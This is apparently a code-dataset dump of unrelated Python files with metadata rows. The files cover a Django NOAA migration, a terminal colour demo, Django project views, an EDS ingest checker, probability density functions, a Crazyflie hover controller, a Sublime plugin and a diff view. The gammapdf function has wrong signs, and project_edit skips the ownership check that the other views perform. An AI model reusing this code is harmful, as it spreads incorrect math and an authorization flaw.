# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Temperature' db.create_table(u'django_noaa_temperature', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('station', self.gf('django.db.models.fields.related.ForeignKey')(related_name='temperatures', to=orm['django_noaa.Station'])), ('obs_start_datetime', self.gf('django.db.models.fields.DateTimeField')(db_index=True)), ('obs_end_datetime', self.gf('django.db.models.fields.DateTimeField')(db_index=True)), ('crx_vn', self.gf('django.db.models.fields.CharField')(max_length=6, db_index=True)), ('t_calc', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('t_hr_avg', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('t_max', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('t_min', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('p_calc', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('solarad', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('solarad_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)), ('solarad_max', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('solarad_max_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)), ('solarad_min', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('solarad_min_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)), ('sur_temp_type', self.gf('django.db.models.fields.CharField')(max_length=1, db_index=True)), ('sur_temp', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('sur_temp_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)), ('sur_temp_max', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('sur_temp_max_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)), ('sur_temp_min', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('sur_temp_min_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)), ('rh_hr_avg', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('rh_hr_avg_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)), ('soil_moisture_5', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('soil_moisture_10', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('soil_moisture_20', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('soil_moisture_50', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('soil_moisture_100', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('soil_temp_5', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('soil_temp_10', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('soil_temp_20', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('soil_temp_50', self.gf('django.db.models.fields.FloatField')(db_index=True)), ('soil_temp_100', self.gf('django.db.models.fields.FloatField')(db_index=True)), )) db.send_create_signal('django_noaa', ['Temperature']) # Adding unique constraint on 'Temperature', fields ['station', 'obs_start_datetime', 'obs_end_datetime'] db.create_unique(u'django_noaa_temperature', ['station_id', 'obs_start_datetime', 'obs_end_datetime']) def backwards(self, orm): # Removing unique constraint on 'Temperature', fields ['station', 'obs_start_datetime', 'obs_end_datetime'] db.delete_unique(u'django_noaa_temperature', ['station_id', 'obs_start_datetime', 'obs_end_datetime']) # Deleting model 'Temperature' db.delete_table(u'django_noaa_temperature') models = { 'django_noaa.station': { 'Meta': {'ordering': "('wban', 'country', 'state', 'location')", 'unique_together': "(('wban', 'country', 'state', 'location'),)", 'object_name': 'Station'}, 'closing': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'commissioning': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'country': ('django.db.models.fields.CharField', [], {'max_length': '10', 'db_index': 'True'}), 'elevation': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'latitude': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'load_temperatures': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'db_index': 'True'}), 'load_temperatures_max_date_loaded': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'load_temperatures_min_date_loaded': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}), 'load_temperatures_min_year': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}), 'location': ('django.db.models.fields.CharField', [], {'max_length': '200', 'db_index': 'True'}), 'longitude': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '500'}), 'network': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}), 'operation': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}), 'pairing': ('django.db.models.fields.CharField', [], {'db_index': 'True', 'max_length': '100', 'null': 'True', 'blank': 'True'}), 'state': ('django.db.models.fields.CharField', [], {'max_length': '10', 'db_index': 'True'}), 'status': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}), 'vector': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}), 'wban': ('django.db.models.fields.CharField', [], {'db_index': 'True', 'max_length': '100', 'null': 'True', 'blank': 'True'}) }, 'django_noaa.temperature': { 'Meta': {'unique_together': "(('station', 'obs_start_datetime', 'obs_end_datetime'),)", 'object_name': 'Temperature'}, 'crx_vn': ('django.db.models.fields.CharField', [], {'max_length': '6', 'db_index': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'obs_end_datetime': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True'}), 'obs_start_datetime': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True'}), 'p_calc': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'rh_hr_avg': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'rh_hr_avg_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}), 'soil_moisture_10': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'soil_moisture_100': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'soil_moisture_20': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'soil_moisture_5': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'soil_moisture_50': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'soil_temp_10': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'soil_temp_100': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'soil_temp_20': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'soil_temp_5': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'soil_temp_50': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'solarad': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'solarad_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}), 'solarad_max': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'solarad_max_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}), 'solarad_min': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'solarad_min_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}), 'station': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'temperatures'", 'to': "orm['django_noaa.Station']"}), 'sur_temp': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'sur_temp_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}), 'sur_temp_max': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'sur_temp_max_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}), 'sur_temp_min': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 'sur_temp_min_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}), 'sur_temp_type': ('django.db.models.fields.CharField', [], {'max_length': '1', 'db_index': 'True'}), 't_calc': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 't_hr_avg': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 't_max': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}), 't_min': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}) } } complete_apps = ['django_noaa']
UTF-8
Python
false
false
2,014
1,305,670,098,942
d8d0bf3c609cdc57cd1963524d902508892d6c8a
3a6ab2999efbc40825659716328b57a4a5e831bf
/utilities/colourphon
26cc3899fadb64900792aa9e2e67ea624ea277c6
[ "Apache-2.0" ]
permissive
TomRegan/synedoche
https://github.com/TomRegan/synedoche
3cd54293fcfa55ae13265dd23c5535839da6e5af
b7e46089c8702d473853e118d3465b5b7038a639
refs/heads/master
2021-01-10T20:11:05.327352
2012-07-14T19:19:07
2012-07-14T19:19:07
5,050,337
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python ''' colourphon author: Tom Regan <[email protected]> since: 2011-07-12 description: Displays the colour palate available in a teminal. ''' print '\n{:-^78}\n'.format('basic colors') for a in range(255): if a % 8 == 0 and a > 0: print '' print "{:>2}:\033[{:}mAa\033[0m ".format(hex(a)[2:],a), print '\n\n{:-^78}\n'.format('compound colors') for a in range(22,40): for b in range(255): if b % 8 == 0: print '' print "{:>2};{:>2}:\033[{:};{:}mAa\033[0m ".format(hex(a)[2:],hex(b)[2:],a,b),
UTF-8
Python
false
false
2,012
16,183,436,781,680
d8189125e72e13028a104ddc1460bc3476eb743b
49e6fb32bd99d2fcb0af85d2130a40a4212057f9
/projects/views.py
1b765ed87830880801dff6b71f62e992e82132f6
[ "GPL-2.0-only", "GPL-2.0-or-later" ]
non_permissive
HackRVA/hacker-web
https://github.com/HackRVA/hacker-web
5cedbd85064df0370d4bacaf0ec75cb8f8aed41b
591845d9e2ad7d98f4b1aedc50f6c535019a9261
refs/heads/master
2020-04-23T03:36:05.111142
2013-01-16T04:25:32
2013-01-16T04:25:32
5,391,391
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.template import RequestContext from django.template import Context, loader from django.shortcuts import render_to_response, get_object_or_404 from django.conf import settings from django.http import HttpResponse, HttpResponseRedirect from django.contrib.auth.decorators import login_required from projects.models import UserProjects, UserProjectsForm @login_required def project_detail(request, proj_id): project = get_object_or_404(UserProjects,pk=proj_id) #so only staff users and the users themselves can see a given project page. if ((request.user.username == project.user.username) or (request.user.is_staff)): return render_to_response('projects/detail.html',context_instance = RequestContext(request,{"project":project,})) else: redir_url = "/members/profiles/%s" % project.user.username return HttpResponseRedirect(redir_url) @login_required def project_delete(request, proj_id): project = get_object_or_404(UserProjects,pk=proj_id) if ((request.user.username == project.user.username) or (request.user.is_superuser)): project.delete() return render_to_response('projects/delete.html',context_instance = RequestContext(request,{})) else: return render_to_response('projects/no_delete.html',context_instance = RequestContext(request,{})) @login_required def project_create(request): if request.method == 'POST': form = UserProjectsForm(request.POST) if form.is_valid(): form.save() return HttpResponseRedirect('/projects/saved/') else: form = UserProjectsForm(initial={'user':request.user}) return render_to_response('projects/edit.html',context_instance = RequestContext(request,{'form':form})) @login_required def project_edit(request, proj_id): instance = get_object_or_404(UserProjects, pk=proj_id) form = UserProjectsForm(request.POST or None, instance=instance) if form.is_valid(): form.save() return HttpResponseRedirect('/projects/saved/') return render_to_response('projects/edit.html',context_instance = RequestContext(request,{'form':form})) @login_required def project_saved(request): return render_to_response('projects/saved.html',context_instance = RequestContext(request,{}))
UTF-8
Python
false
false
2,013
13,228,499,305,034
b2af13cfcb189e1c2778524fac5f2a7425d59798
8a08b9db41f8809a9991875223c46f2e3b9f15db
/eds_test_ingest.py
92766d42186b92cb1ea6ad3dc56a529f3da9802a
[]
no_license
elibtronic/eds_test_ingest
https://github.com/elibtronic/eds_test_ingest
32f16b2356023ce519d23c237b3b7eccf91ba665
8dda07274ca9b17cc399bbdf9561c4be8b4a9ca6
refs/heads/master
2021-03-12T20:16:40.944061
2014-02-13T19:51:04
2014-02-13T19:51:04
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# EDS Ingest Tester # # Fill in the bib array with the unique identify used to create your EDS records # Change BASE_URL to reflect your EDS setup and Catalogue Accession Number # After uploading your .MARC to to your Ebsco FTP start this script # from bs4 import BeautifulSoup import urllib,httplib,datetime,time,sys logname = "log_" + str(time.time()) + ".txt" BASE_URL = "http://proxy.library.brocku.ca/login?url=http://search.ebscohost.com/login.aspx?direct=true&db=cat00778a&AN=bu." bib = [ 'b2378495', 'b2378491', 'b2378487', 'b2378486', 'b2378485' ] urls = [] def construct_url(b): return BASE_URL+b+"&site=eds-live&scope=site" def log_start(): f = open(logname,"a") f.write("Started checking at: " + str(datetime.datetime.now())+ "\n") f.close() def log_no(url): f = open(logname,"a") f.write("Found: " + url + " at " + str(datetime.datetime.now())+ "\n") f.close() def first_check(urls_list): print "Seeing if bibs are already in EDS" for u in urls_list: s = BeautifulSoup(urllib.urlopen(u).read()) if (s.find_all(text='No results were found.')): pass else: print "...found an item already in EDS: ",u sys.exit() print "... Items are unique" #start up log_start() f = open(logname,"a") f.write("Bibs that will be checked\n") for b in bib: urls.append(construct_url(b)) f.write(construct_url(b)+"\n") f.close() first_check(urls) while True: print "Checking another round" for u in urls: s = BeautifulSoup(urllib.urlopen(u).read()) if (s.find_all(text='No results were found.')): pass else: log_no(u) print "found an item!" sys.exit() print "...done\n" time.sleep(900)
UTF-8
Python
false
false
2,014
2,284,922,649,856
507c2b75ee23b46632a224f2dae3f41d101483d1
d8ee3bb6dfb0302303b7abeb24c491b83b5a52a0
/pdf.py
e635c40b1e107c61c12ec307007a9f6899958ceb
[]
no_license
afcarl/StatLab
https://github.com/afcarl/StatLab
623884ea4c2c8299dad8de15bd510cb83a46d787
e675ba1b3d8fc3e6574f97625274512806798280
refs/heads/master
2020-03-16T16:14:58.396352
2011-08-05T18:49:44
2011-08-05T18:49:44
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from scipy import exp, log, isscalar, logical_and from scipy.special import gammaln def gammapdf(X, shape, scale): return exp((shape-1.0)*log(X) - (X/(1.0*scale)) + gammaln(shape) + (shape * log(scale))) def betapdf(X,a,b): #operate only on x in (0,1) if isscalar(X): if X<=0 or X>=1: raise ValueError("X must be in the interval (0,1)") else: x=X else: goodx = logical_and(X>0, X<1) x = X[goodx].copy() loga = (a-1.0)*log(x) logb = (b-1.0)*log(1.0-x) return exp(gammaln(a+b)-gammaln(a)-gammaln(b)+loga+logb)
UTF-8
Python
false
false
2,011
12,532,714,607,627
304b1548732b7cd8e71b2341bb6988f0cebe0b85
9f6917d6989c2946a91a0260470182d0ddf1f945
/aicontroller.py
44e60d871b143daef12f6814d72e3c86edc66345
[]
no_license
ShermanMorrison/ELEC424-Lab08-Hover
https://github.com/ShermanMorrison/ELEC424-Lab08-Hover
eddbe692dacc5fbe040bc81e79f734aafcc9c8f6
2bd95dd692c8f7756eec97b9bd459ffb7d9ccb59
refs/heads/master
2021-01-22T10:56:14.486422
2014-12-01T06:43:26
2014-12-01T06:43:26
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # # || ____ _ __ # +------+ / __ )(_) /_______________ _____ ___ # | 0xBC | / __ / / __/ ___/ ___/ __ `/_ / / _ \ # +------+ / /_/ / / /_/ /__/ / / /_/ / / /_/ __/ # || || /_____/_/\__/\___/_/ \__,_/ /___/\___/ # # Copyright (C) 2011-2013 Bitcraze AB # # Crazyflie Nano Quadcopter Client # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. """ Driver for reading data from the PyGame API. Used from Inpyt.py for reading input data. Hacked to include AI You will need to modify the following files as shown below +++ b/lib/cfclient/ui/main.py - self.joystickReader = JoystickReader() + self.joystickReader = JoystickReader(cf=self.cf) +++ b/lib/cfclient/utils/input.py +from cfclient.utils.aicontroller import AiController - def __init__(self, do_device_discovery=True): + def __init__(self, do_device_discovery=True, cf=None): - self.inputdevice = PyGameReader() + self.inputdevice = AiController(cf) You will also need to map the "exit" button to your controller. This will server as the on/off switch for the AI. You will also likely have to open the tools->parameters tab in the PC-Client which will load the TOC. """ __author__ = 'Steven Arroyo' __all__ = ['AiController'] import pygame from pygame.locals import * import time import logging from cfclient.ui.widgets.ai import AttitudeIndicator logger = logging.getLogger(__name__) class AiController(): """Used for reading data from input devices using the PyGame API.""" def __init__(self,cf): self.cf = cf self.gainToChange = "pid_rate.roll_kp" self.lastError = float("inf") self.errorList = [] self.kpList = [] self.error = 0 self.barometer = 0 self.altHoldPrev = 0 self.setAltHold = False self.asl = None self.altHoldTarget = 0 self.hoverRatio = .02 self.hoverBaseThrust = .85 # Crazyflie orientation variables self.actualRoll = 0 self.actualPitch = 0 self.actualYaw = 0 self.bestRPY = [] self.inputMap = None pygame.init() # AI variables self.timer1 = 0 self.lastTime = 0 # DEPRECATED self.alt = None # ---AI tuning variables--- # This is the thrust of the motors duing hover. 0.5 reaches ~1ft depending on battery self.maxThrust = 0.85 # Determines how fast to take off self.thrustInc = 0.02 self.takeoffTime = 5 # Determines how fast to land self.thrustDec = -0.039 self.hoverTime = 3 # Sets the delay between test flights self.repeatDelay = 8 # parameters pulled from json with defaults from crazyflie pid.h # perl -ne '/"(\w*)": {/ && print $1, "\n" ' lib/cflib/cache/27A2C4BA.json self.cfParams = { 'pid_rate.pitch_kp': 90.0, 'pid_rate.pitch_kd': 0.0, 'pid_rate.pitch_ki': 15.0, 'pid_rate.roll_kp': 100.0, 'pid_rate.roll_kd': 0.0, 'pid_rate.roll_ki': 15.0, 'pid_rate.yaw_kp': 50.0, 'pid_rate.yaw_kd': 23.0, 'pid_rate.yaw_ki': 2.0, 'pid_attitude.pitch_kp': 3.5, 'pid_attitude.pitch_kd': 2.0, 'pid_attitude.pitch_ki': 0.0, 'pid_attitude.roll_kp': 3.5, 'pid_attitude.roll_kd': 2.0, 'pid_attitude.roll_ki': 0.0, 'pid_attitude.yaw_kp': 0.0, 'pid_attitude.yaw_kd': 0.0, 'pid_attitude.yaw_ki': 0.0, 'sensorfusion6.kp': 0.800000011921, 'sensorfusion6.ki': 0.00200000009499, 'imu_acc_lpf.factor': 32 } def read_input(self): """Read input from the selected device.""" # First we read data from controller as normal # ---------------------------------------------------- # We only want the pitch/roll cal to be "oneshot", don't # save this value. self.data["pitchcal"] = 0.0 self.data["rollcal"] = 0.0 for e in pygame.event.get(): if e.type == pygame.locals.JOYAXISMOTION: index = "Input.AXIS-%d" % e.axis try: if (self.inputMap[index]["type"] == "Input.AXIS"): key = self.inputMap[index]["key"] axisvalue = self.j.get_axis(e.axis) # All axis are in the range [-a,+a] axisvalue = axisvalue * self.inputMap[index]["scale"] # The value is now in the correct direction and in the range [-1,1] self.data[key] = axisvalue except Exception: # Axis not mapped, ignore.. pass if e.type == pygame.locals.JOYBUTTONDOWN: index = "Input.BUTTON-%d" % e.button try: if (self.inputMap[index]["type"] == "Input.BUTTON"): key = self.inputMap[index]["key"] if (key == "estop"): self.data["estop"] = not self.data["estop"] elif (key == "exit"): # self.data["exit"] = True self.data["exit"] = not self.data["exit"] logger.info("Toggling AI %d", self.data["exit"]) elif (key == "althold"): # self.data["althold"] = True self.data["althold"] = not self.data["althold"] logger.info("Toggling altHold %d", self.data["althold"]) else: # Generic cal for pitch/roll self.data[key] = self.inputMap[index]["scale"] except Exception: # Button not mapped, ignore.. pass # Second if AI is enabled overwrite selected data with AI # ---------------------------------------------------------- if self.data["althold"]: self.AltHoldPrev += 1 if self.AltHoldPrev == 1: self.setAltHold = True self.altHoldThrust() else: self.AltHoldPrev = 0 if self.data["exit"]: self.augmentInputWithAi() # Return control Data return self.data def altHoldThrust(self): """ Overrides the throttle input to try to get the crazyflie to hover. The first time the function is called, the hover height is set from current height After this, this function will calculate corrections to keep the crazyflie at This function imitates the altitude hold function within stabilizer.c """ # the first time in a sequence that altHold is called, the set point is calibrated # by sampling the instantaneous barometer reading if (self.setAltHold): print "first time on AltHold!" self.altHoldTarget = self.barometer # after this point, the error is calculated and corrected using a proportional control loop else: if self.barometer > self.altHoldTarget + 1.5: self.addThrust(-.1) print "too high, baro = " + str(self.barometer) else: err = self.altHoldTarget - self.barometer thrustDelta = self.hoverBaseThrust + self.hoverRatio * err self.addThrust(thrustDelta) self.setAltHold = False def augmentInputWithAi(self): """ Overrides the throttle input with a controlled takeoff, hover, and land loop. You will to adjust the tuning vaiables according to your crazyflie. The max thrust has been set to 0.3 and likely will not fly. I have found that a value of 0.5 will reach about 1ft off the ground depending on the battery's charge. """ # Keep track of time currentTime = time.time() timeSinceLastAi = currentTime - self.lastTime self.timer1 = self.timer1 + timeSinceLastAi self.lastTime = currentTime # Take measurements of error every time this function is called # total error will sum deviation in roll, pitch, and yaw self.error += self.actualRoll * self.actualRoll + self.actualPitch * self.actualPitch + self.actualYaw * self.actualYaw # Basic AutoPilot steadly increase thrust, hover, land and repeat # ------------------------------------------------------------- # delay before takeoff if self.timer1 < 0: thrustDelta = 0 # takeoff elif self.timer1 < self.takeoffTime : thrustDelta = self.thrustInc # hold elif self.timer1 < self.takeoffTime + self.hoverTime : thrustDelta = 0 # land elif self.timer1 < 2 * self.takeoffTime + self.hoverTime : thrustDelta = self.thrustDec # repeat and do PID testing if necessary else: self.timer1 = -self.repeatDelay thrustDelta = 0 print "Magnitude of error was: "+str(self.error) print "\t with " + self.gainToChange + " = " + str(self.cfParams[self.gainToChange]) # after seven tries, the code will select the best PID value and apply it for this run if len(self.errorList) < 7: self.pidTuner() # update self.gainToChange param self.errorList.append(self.error) self.kpList.append(self.cfParams[self.gainToChange]) self.lastError = self.error # if less than seven tries, keep track of the run with least integral error else: indexOfMin = 0 lowestErr = self.errorList[0] for i in xrange(1,len(self.errorList)): if self.errorList[i] < lowestErr: indexOfMin = i lowestErr = self.errorList[i] # set new PID value and print best value (best = least error) self.cfParams[self.gainToChange] = self.kpList[indexOfMin] self.updateCrazyFlieParam(self.gainToChange) self.bestRPY.append(self.kpList[indexOfMin]) print "BEST Kp for " + str(self.gainToChange) + " = " + str(self.kpList[indexOfMin]) # continue to next axis and test to run (currently hardcoded) self.errorList = [] if self.gainToChange == "pid_rate.pitch_kp": self.gainToChange = "pid_rate.roll_kp" elif self.gainToChange == "pid_rate.roll_kp": self.gainToChange = "pid_rate.yaw_kp" else: print "best RPY = " + str(self.bestRPY) # this slightly increases maxThrust to compensate for battery reduction self.maxThrust = self.maxThrust + 0.02 self.error = 0 self.addThrust( thrustDelta ) def addThrust(self, thrustDelta): # Increment thrust self.aiData["thrust"] = self.aiData["thrust"] + thrustDelta # Check for max if self.aiData["thrust"] > self.maxThrust: self.aiData["thrust"] = self.maxThrust # check for min elif self.aiData["thrust"] < 0: self.aiData["thrust"] = 0 # overwrite joystick thrust values self.data["thrust"] = self.aiData["thrust"] def pidTuner(self): """ iterates through a parameter, adjusting every time and printing out error """ self.cfParams[self.gainToChange] = self.cfParams[self.gainToChange] + 10 self.updateCrazyFlieParam(self.gainToChange) # update via param.py -> radiodriver.py -> crazyradio.py -> usbRadio ))) def updateCrazyFlieParam(self, completename ): self.cf.param.set_value( unicode(completename), str(self.cfParams[completename]) ) def start_input(self, deviceId, inputMap): """Initalize the reading and open the device with deviceId and set the mapping for axis/buttons using the inputMap""" self.data = {"roll":0.0, "pitch":0.0, "yaw":0.0, "thrust":0.0, "pitchcal":0.0, "rollcal":0.0, "estop": False, "exit":False, "althold":False} self.aiData = {"roll":0.0, "pitch":0.0, "yaw":0.0, "thrust":0.0, "pitchcal":0.0, "rollcal":0.0, "estop": False, "exit":False, "althold":False} self.inputMap = inputMap self.j = pygame.joystick.Joystick(deviceId) self.j.init() def enableRawReading(self, deviceId): """Enable reading of raw values (without mapping)""" self.j = pygame.joystick.Joystick(deviceId) self.j.init() def disableRawReading(self): """Disable raw reading""" # No need to de-init since there's no good support for multiple input devices pass def readRawValues(self): """Read out the raw values from the device""" rawaxis = {} rawbutton = {} for e in pygame.event.get(): if e.type == pygame.locals.JOYBUTTONDOWN: rawbutton[e.button] = 1 if e.type == pygame.locals.JOYBUTTONUP: rawbutton[e.button] = 0 if e.type == pygame.locals.JOYAXISMOTION: rawaxis[e.axis] = self.j.get_axis(e.axis) return [rawaxis,rawbutton] def getAvailableDevices(self): """List all the available devices.""" dev = [] pygame.joystick.quit() pygame.joystick.init() nbrOfInputs = pygame.joystick.get_count() for i in range(0,nbrOfInputs): j = pygame.joystick.Joystick(i) dev.append({"id":i, "name" : j.get_name()}) return dev def setActualData(self, actualRoll, actualPitch, actualThrust): """ collects roll, pitch, and thrust data for use in calibrating PID """ self.actualRoll = actualRoll self.actualPitch = actualPitch self.actualThrust = actualThrust def setBaroData(self, barometer): """ collects barometer data in order to implement height control""" self.barometer = barometer def setAltholdData(self, alt): """ DEPRECATED, ignore this, just part of the process""" self.alt = alt
UTF-8
Python
false
false
2,014
8,830,452,784,014
66d62a553701ca49f0d8da4388c3ac8848be3f76
1f43e4d7063bc6633eb3fa695acfa4b9ccf992ea
/Copyright.py
5c7bd4029e4a14134d495208e59b129d0c11f485
[]
no_license
reekoheek/sublime-xinix
https://github.com/reekoheek/sublime-xinix
942ca668294a7369d4eafff26a469d4f0af49290
05659f7507789a13ae31d17033d1da8c89444dc4
refs/heads/master
2017-05-06T18:49:04.573484
2013-01-17T12:56:00
2013-01-17T12:56:00
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import sublime, sublime_plugin import string import getpass from datetime import datetime class CopyrightCommand(sublime_plugin.TextCommand): def guess_file_class(self): syntax = self.view.settings().get('syntax') return syntax.split('/')[1] def run(self, edit): setting = sublime.load_settings("Copyright.sublime-settings") file_type = self.guess_file_class() copyright_file = "" try: copyright_file = open(sublime.packages_path() + '/sublime-xinix/' + file_type + '.copyright').read() except: copyright_file = open(sublime.packages_path() + '/sublime-xinix/Default.copyright').read() file_name = self.view.file_name() if file_name != None: file_name = file_name.split('/')[-1] else: file_name = "[noname file]" now = datetime.now() copyright_template = string.Template(copyright_file) d = dict( file_name=file_name, package_name='arch-php', my_name=setting.get('name', getpass.getuser()), my_email=setting.get('email', getpass.getuser() + '@localhost'), year=now.strftime("%Y"), now=now.strftime("%Y-%m-%d %H:%M:%S"), ) copyright = copyright_template.substitute(d) point = self.view.line(self.view.sel()[0]).begin() self.view.insert(edit, point, copyright);
UTF-8
Python
false
false
2,013
12,120,397,742,139
2eb468f60fd407cf7de1ab48c21f3d19f76842f0
97ce098e01c5ce66d39d44109549f511ee9da96c
/test/prueba.py
c44cc44bcdc60c57f677a0a7df566f915e5c20a2
[]
no_license
ahmora/Compiladores-Proyecto02
https://github.com/ahmora/Compiladores-Proyecto02
15e12b9ddc765f0442ce135db9e37d5f613e9b45
d2d7e126f3f612fe39532709ee4c341c2e7f762f
refs/heads/master
2016-09-05T23:53:25.417325
2014-12-09T10:57:18
2014-12-09T10:57:18
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
print "Hola mundo!" print 2 * 3 + 4 - 1 x = 2 y = 3 x = x * y y = 4 x = x + y y = 1 x = x - y print x
UTF-8
Python
false
false
2,014
5,351,529,274,856
19ddae5c4350c178d370352cca6026c1a127499c
86f50d8e500ccf04604b4e7c60ac8e46a9b88749
/sapling/versionutils/diff/views.py
91b2465069a76868bc06b955e879d48b5f619f21
[ "GPL-2.0-or-later", "GPL-2.0-only" ]
non_permissive
Georepublic/localwiki
https://github.com/Georepublic/localwiki
21c90827c298ba0f2f57bbfb09bd87cb035c3518
42e871f10c1ba59f3d0cca0b2b598195db79ba45
refs/heads/master_ja
2021-11-25T23:38:10.902858
2013-05-24T04:03:53
2013-05-24T04:03:53
5,975,684
1
0
GPL-2.0
true
2021-11-19T01:47:11
2012-09-27T01:55:03
2013-06-13T01:25:10
2021-11-19T01:47:11
12,761
1
1
2
Python
false
false
from dateutil.parser import parse as dateparser from django.shortcuts import render_to_response from django.views.generic import DetailView from django.http import Http404 from versionutils.versioning import get_versions class CompareView(DetailView): """ A Class-based view used for displaying a difference. Attributes and methods are similar to the standard DetailView. Attributes: model: The model the diff acts on. """ template_name_suffix = '_diff' def get_context_data(self, **kwargs): context = super(CompareView, self).get_context_data(**kwargs) if self.kwargs.get('date1'): # Using datetimes to display diff. date1 = self.kwargs.get('date1') date2 = self.kwargs.get('date2') # Query parameter list used in history compare view. dates = self.request.GET.getlist('date') if not dates: dates = [v for v in (date1, date2) if v] dates = [dateparser(v) for v in dates] old = min(dates) new = max(dates) new_version = get_versions(self.object).as_of(date=new) prev_version = new_version.version_info.version_number() - 1 if len(dates) == 1 and prev_version > 0: old_version = get_versions(self.object).as_of( version=prev_version) elif prev_version <= 0: old_version = None else: old_version = get_versions(self.object).as_of(date=old) else: # Using version numbers to display diff. version1 = self.kwargs.get('version1') version2 = self.kwargs.get('version2') # Query parameter list used in history compare view. versions = self.request.GET.getlist('version') if not versions: versions = [v for v in (version1, version2) if v] if not versions: raise Http404("Versions not specified") versions = [int(v) for v in versions] old = min(versions) new = max(versions) if len(versions) == 1: old = max(new - 1, 1) if old > 0: old_version = get_versions(self.object).as_of(version=old) else: old_version = None new_version = get_versions(self.object).as_of(version=new) context.update({'old': old_version, 'new': new_version}) return context
